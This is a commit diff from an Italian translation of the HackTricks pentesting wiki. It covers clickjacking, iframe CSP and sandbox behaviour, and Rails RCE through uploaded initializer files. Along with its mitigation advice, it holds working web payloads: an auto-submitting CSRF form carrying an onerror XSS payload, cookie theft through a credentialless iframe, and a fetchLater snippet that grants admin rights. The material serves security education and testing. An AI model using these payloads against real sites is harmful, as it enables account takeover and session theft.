mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
26a23105d6
commit
67a77159b6
@ -435,6 +435,7 @@
|
|||||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||||
|
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||||
|
|||||||
@ -0,0 +1,9 @@
|
|||||||
|
# Ruby Tricks
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Caricamento di file per RCE
|
||||||
|
|
||||||
|
Come spiegato in [questo articolo](https://www.offsec.com/blog/cve-2024-46986/), caricare un file `.rb` in directory sensibili come `config/initializers/` può portare all'esecuzione remota di codice (RCE) nelle applicazioni Ruby on Rails.
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
@ -2,19 +2,19 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## What is Clickjacking
|
## Cos'è il Clickjacking
|
||||||
|
|
||||||
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è o **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
|
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è **invisibile** o travestito da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
|
||||||
|
|
||||||
### Prepopulate forms trick
|
### Trucco per precompilare i moduli
|
||||||
|
|
||||||
A volte è possibile **compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
|
A volte è possibile **riempire il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
|
||||||
|
|
||||||
### Populate form with Drag\&Drop
|
### Popolare il modulo con Drag\&Drop
|
||||||
|
|
||||||
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||||
|
|
||||||
### Basic Payload
|
### Payload di base
|
||||||
```css
|
```css
|
||||||
<style>
|
<style>
|
||||||
iframe {
|
iframe {
|
||||||
@ -89,10 +89,10 @@ background: #F00;
|
|||||||
```
|
```
|
||||||
### XSS + Clickjacking
|
### XSS + Clickjacking
|
||||||
|
|
||||||
Se hai identificato un **attacco XSS che richiede che un utente clicchi** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
|
Se hai identificato un **attacco XSS che richiede all'utente di cliccare** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
|
||||||
Esempio:\
|
Esempio:\
|
||||||
Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET.\
|
Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET.\
|
||||||
Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori sono modificati, l'**utente eseguirà l'XSS**.
|
Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
|
||||||
|
|
||||||
### DoubleClickjacking
|
### DoubleClickjacking
|
||||||
|
|
||||||
@ -103,13 +103,13 @@ Un esempio può essere visto in questo video: [https://www.youtube.com/watch?v=4
|
|||||||
Un esempio di codice può essere trovato [in questa pagina](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
Un esempio di codice può essere trovato [in questa pagina](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Questa tecnica consente di ingannare l'utente a cliccare su 1 posto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l'attaccante deve trovare **azioni sensibili che possono essere eseguite con solo 1 clic, come le richieste OAuth che accettano permessi**.
|
> Questa tecnica consente di ingannare l'utente a cliccare in 1 posto nella pagina della vittima bypassando ogni protezione contro il clickjacking. Quindi l'attaccante deve trovare **azioni sensibili che possono essere eseguite con solo 1 clic, come le richieste OAuth che accettano permessi**.
|
||||||
|
|
||||||
## Strategie per Mitigare il Clickjacking
|
## Strategie per Mitigare il Clickjacking
|
||||||
|
|
||||||
### Difese Lato Client
|
### Difese Lato Client
|
||||||
|
|
||||||
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
|
Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
|
||||||
|
|
||||||
- Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
|
- Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
|
||||||
- Rendere tutti i frame visibili.
|
- Rendere tutti i frame visibili.
|
||||||
@ -136,7 +136,7 @@ L'**intestazione di risposta HTTP `X-Frame-Options`** informa i browser sulla le
|
|||||||
|
|
||||||
- `X-Frame-Options: deny` - Nessun dominio può incapsulare il contenuto.
|
- `X-Frame-Options: deny` - Nessun dominio può incapsulare il contenuto.
|
||||||
- `X-Frame-Options: sameorigin` - Solo il sito attuale può incapsulare il contenuto.
|
- `X-Frame-Options: sameorigin` - Solo il sito attuale può incapsulare il contenuto.
|
||||||
- `X-Frame-Options: allow-from https://trusted.com` - Solo l'uri specificato può incapsulare la pagina.
|
- `X-Frame-Options: allow-from https://trusted.com` - Solo l' 'uri' specificato può incapsulare la pagina.
|
||||||
- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.
|
- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.
|
||||||
|
|
||||||
#### Direttiva frame-ancestors della Content Security Policy (CSP)
|
#### Direttiva frame-ancestors della Content Security Policy (CSP)
|
||||||
|
|||||||
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Iframes in XSS
|
## Iframes in XSS
|
||||||
|
|
||||||
Ci sono 3 modi per indicare il contenuto di una pagina in iframe:
|
Ci sono 3 modi per indicare il contenuto di una pagina iframed:
|
||||||
|
|
||||||
- Tramite `src` che indica un URL (l'URL può essere cross origin o same origin)
|
- Tramite `src` che indica un URL (l'URL può essere cross origin o same origin)
|
||||||
- Tramite `src` che indica il contenuto utilizzando il protocollo `data:`
|
- Tramite `src` che indica il contenuto utilizzando il protocollo `data:`
|
||||||
@ -50,8 +50,8 @@ Nota come if4 è considerato avere origine `null`.
|
|||||||
|
|
||||||
### Iframes con CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
### Iframes con CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Si prega di notare come nei seguenti bypass la risposta alla pagina incapsulata non contenga alcun header CSP che impedisca l'esecuzione di JS.
|
> Si prega di notare come nei seguenti bypass la risposta alla pagina iframed non contenga alcun header CSP che impedisca l'esecuzione di JS.
|
||||||
|
|
||||||
Il valore `self` di `script-src` non permetterà l'esecuzione del codice JS utilizzando il protocollo `data:` o l'attributo `srcdoc`.\
|
Il valore `self` di `script-src` non permetterà l'esecuzione del codice JS utilizzando il protocollo `data:` o l'attributo `srcdoc`.\
|
||||||
Tuttavia, anche il valore `none` della CSP permetterà l'esecuzione degli iframe che mettono un URL (completo o solo il percorso) nell'attributo `src`.\
|
Tuttavia, anche il valore `none` della CSP permetterà l'esecuzione degli iframe che mettono un URL (completo o solo il percorso) nell'attributo `src`.\
|
||||||
@ -76,7 +76,7 @@ id="if4"
|
|||||||
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Nota come il **CSP precedente consente solo l'esecuzione dello script inline**.\
|
Nota come il **precedente CSP consente solo l'esecuzione dello script inline**.\
|
||||||
Tuttavia, **solo gli script `if1` e `if2` verranno eseguiti, ma solo `if1` sarà in grado di accedere al segreto del genitore**.
|
Tuttavia, **solo gli script `if1` e `if2` verranno eseguiti, ma solo `if1` sarà in grado di accedere al segreto del genitore**.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
@ -134,6 +134,53 @@ Il valore dell'attributo può essere lasciato vuoto (`sandbox=""`) per applicare
|
|||||||
```html
|
```html
|
||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||||
```
|
```
|
||||||
|
### Iframe senza credenziali
|
||||||
|
|
||||||
|
Come spiegato in [questo articolo](https://blog.slonser.info/posts/make-self-xss-great-again/), il flag `credentialless` in un iframe viene utilizzato per caricare una pagina all'interno di un iframe senza inviare credenziali nella richiesta, mantenendo la stessa politica di origine (SOP) della pagina caricata nell'iframe.
|
||||||
|
|
||||||
|
Questo consente all'iframe di accedere a informazioni sensibili da un altro iframe nella stessa SOP caricata nella pagina padre:
|
||||||
|
```javascript
|
||||||
|
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||||
|
alert(window.top[1].document.cookie);
|
||||||
|
```
|
||||||
|
- Esempio di exploit: Self-XSS + CSRF
|
||||||
|
|
||||||
|
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframe:
|
||||||
|
|
||||||
|
- Un iframe che carica la pagina della vittima con il flag `credentialless` con un CSRF che attiva un XSS (Immagina un Self-XSS nel nome utente dell'utente):
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://victim.domain/login" method="POST">
|
||||||
|
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||||
|
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
document.forms[0].submit();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
- Un altro iframe che ha effettivamente l'utente connesso (senza il flag `credentialless`).
|
||||||
|
|
||||||
|
Poi, dall'XSS è possibile accedere all'altro iframe poiché hanno lo stesso SOP e rubare il cookie, ad esempio eseguendo:
|
||||||
|
```javascript
|
||||||
|
alert(window.top[1].document.cookie);
|
||||||
|
```
|
||||||
|
### fetchLater Attacco
|
||||||
|
|
||||||
|
Come indicato in [questo articolo](https://blog.slonser.info/posts/make-self-xss-great-again/), l'API `fetchLater` consente di configurare una richiesta da eseguire in un secondo momento (dopo un certo tempo). Pertanto, questo può essere abusato per esempio, per effettuare il login di una vittima all'interno di una sessione dell'attaccante (con Self-XSS), impostare una richiesta `fetchLater` (per cambiare la password dell'utente corrente, ad esempio) e disconnettersi dalla sessione dell'attaccante. Poi, la vittima effettua il login nella propria sessione e la richiesta `fetchLater` verrà eseguita, cambiando la password della vittima in quella impostata dall'attaccante.
|
||||||
|
|
||||||
|
In questo modo, anche se l'URL della vittima non può essere caricato in un iframe (a causa di CSP o altre restrizioni), l'attaccante può comunque eseguire una richiesta nella sessione della vittima.
|
||||||
|
```javascript
|
||||||
|
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||||
|
const minute = 60000
|
||||||
|
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||||
|
for (let timeout of arr)
|
||||||
|
fetchLater(req,{activateAfter: timeout})
|
||||||
|
```
|
||||||
## Iframes in SOP
|
## Iframes in SOP
|
||||||
|
|
||||||
Controlla le seguenti pagine:
|
Controlla le seguenti pagine:
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user